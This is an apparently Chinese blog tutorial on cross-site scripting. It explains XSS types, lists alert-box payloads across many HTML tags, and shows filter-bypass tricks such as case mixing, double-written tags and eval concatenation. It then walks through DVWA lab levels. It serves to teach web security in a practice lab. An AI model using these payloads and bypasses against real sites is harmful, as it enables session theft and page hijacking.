XSS(跨站攻击)

一、XSS

1.简介

        XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击,攻击者在网页中插入由JavaScript编写的恶意代码,当用户浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

2.XSS的原理

  • 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
  • 诱使受害者打开受到攻击的服务器URL。
  • 受害者在Web浏览器中打开URL,恶意脚本执行

3.XSS的攻击方式

XSS攻击可分为三种:分别为反射型(Reflected),存储型(Stored)和DOM型。

反射型xss:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。(经后端,不经数据库)
存储型XSS:将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。(经后端和数据库)
DOM XSS:通过修改页面的DOM节点形成的XSS。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。(不经过后端,是基于文档对象模型的一种漏洞,是通过url传入参数去控制触发的)

4.XSS的危害

1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题

5.常见XSS攻击方式

1.scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。
 
<script>alert(1);</script>
<script>alert("xss");</script>


2.img 标签

<img> 标签定义 HTML 页面中的图像。
 
<img src=1 οnerrοr=alert(1);>
<img src=1 οnerrοr=alert("xss");>


3.input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。
 
onfocus 事件在对象获得焦点时发生:
<input οnfοcus=alert(1);>
 
竞争焦点,从而触发onblur事件:
 
<input οnblur=alert(1) autofocus><input autofocus>
 
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
 
<input οnfοcus="alert(1);" autofocus>
 
" οnclick=alert(1)>        这样需要点击一下输入框<br>
" οnmοuseοver=alert(1)>    需要鼠标划过输入框<br>

4.details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
 
<details οntοggle=alert(1);>
 
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
 
<details open οntοggle=alert(1);>


5.svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg οnlοad=alert(1);>


6.select 标签

<select> 标签用来创建下拉列表。
<select οnfοcus=alert(1)></select
 
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select οnfοcus=alert(1) autofocus>


7.iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。
 
<iframe οnlοad=alert(1);></iframe>


8.video 标签

<video> 标签定义视频,比如电影片段或其他视频流。
 
<video><source οnerrοr=alert(1)>


9.audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。
 
<audio src=x  οnerrοr=alert(1);>

10.body 标签

<body> 标签定义文档的主体。
 
<body οnlοad=alert(1);>
 

6.常见基本过滤方法

1.空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:
 
/**/,注释符号绕过;/符号绕过;
 <img/src="x"/οnerrοr=alert(1);>


2.引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
 <img src=x οnerrοr=alert(`xss`);>


3.括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
 <img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1>


4.关键字过滤

大小写绕过
 <sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
 
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
 
<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x οnerrοr=alert(1);>


5.字符串拼接绕过

利用eval()函数
 与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
 
<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号

7.XSS的防御措施

  1. 编码:对用户输入的数据进行HTML Entity编码
  2. 过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。
  3. 校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签

二、DVWA靶场练习

1、反射型XSS

(1)low

1、进入靶场,找到XSS Reflected,级别调到low级别

 2、查看源代码发现没有任何过滤和防护措施,可以直接上payload

 3、直接插入代码 <script>alert("xss success!")</script>

 (2)Medium级别

1、使用弹框payload进行XSS,发现代码输出到屏幕上,并没有执行

2、查看源代码,发现代码把<script>标签过滤了

 

3、大写<Script>标签进行绕过,<Script>alert("xss success!")</script> 

 4、成功进行XSS

 5、也可以使用双写script标签的方法,绕过限制 <s<script>cript>alert("xss success!")</sc<script>ript>

(3)High

1、使用常规payload进行XSS,<script>alert("xss success!")</script>,没有成功,只显示了一个>

 2、使用大小写绕过,<Script>alert("xss success!")</script>,结果一样

3、查看源代码,发现是将script标签中的字母全部替换成了空,script标签已经无法使用了

preg_replace 函数执行一个正则表达式的搜索和替换。

 

4、使用svg标签 <svg οnlοad=alert("xsssuccess!")>

2、存储型XSS

(1)low

1、先测试一下

 2、上payload,发现第一个提交框有长度限制,把长度值改的大一些

 

 3、继续使用payload,<script>alert("xss success!")</script>

 4、成功XSS

 5、测试第二个提交框是否存在xss

 6、成功xss

 7、从其他页面在切换到此页面的时候,仍然会弹出xss弹窗,这就是存储型的xss具有持久性,如果不清楚数据库中的代码这个xss攻击将会一直存在

 (2)medium

1、正常注入xss代码,发现代码被输出

 2、查看源代码,发现message字段不存在注入,而name字段只是过滤了<script>标签

 3、利用大小写混淆绕过限制,或者双写script标签

<Script>alert("xss success!")</script>

<s<script>cript>alert("xss success!")</sc<script>ript>

 (3)high

1、正常注入是肯定不行了,直接查看源代码,发现只能从name字段注入,而且不能使用<script>标签,这时就想着使用<iframe> <img><svg>等标签

 2、使用img标签

<img src=1 οnerrοr=alert("xsssuccess")>

 3、DOM型XSS

DOM(Document Object Model文档对象模型),DOM型xss是一种特殊类型的反射型xss,只不过它不用与服务端交互,它发生在客户端数据处理过程中。

(1)low

1、查看源码,发现无任何防护、过滤措施,直接在url中注入代码

2、直接上代码 <script>alert("xss success!")</script>   XSS成功

 (2)medium

1、直接注入js代码,没有任何反应

2、查看源代码,使用了stripos过滤<script,且不区分大小写。

 3、无论是双写还是大小写都没有用了,查看一下前端代码,发现使用的是<select>和<option>标签

4、可以利用标签闭合,在接上payload来执行xss

(3)high

1、查看源码

 

 2、使用注释绕过后端代码,不经过服务器而是直接浏览器执行注释的内容

#<script>alert("xss success!")</script>

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值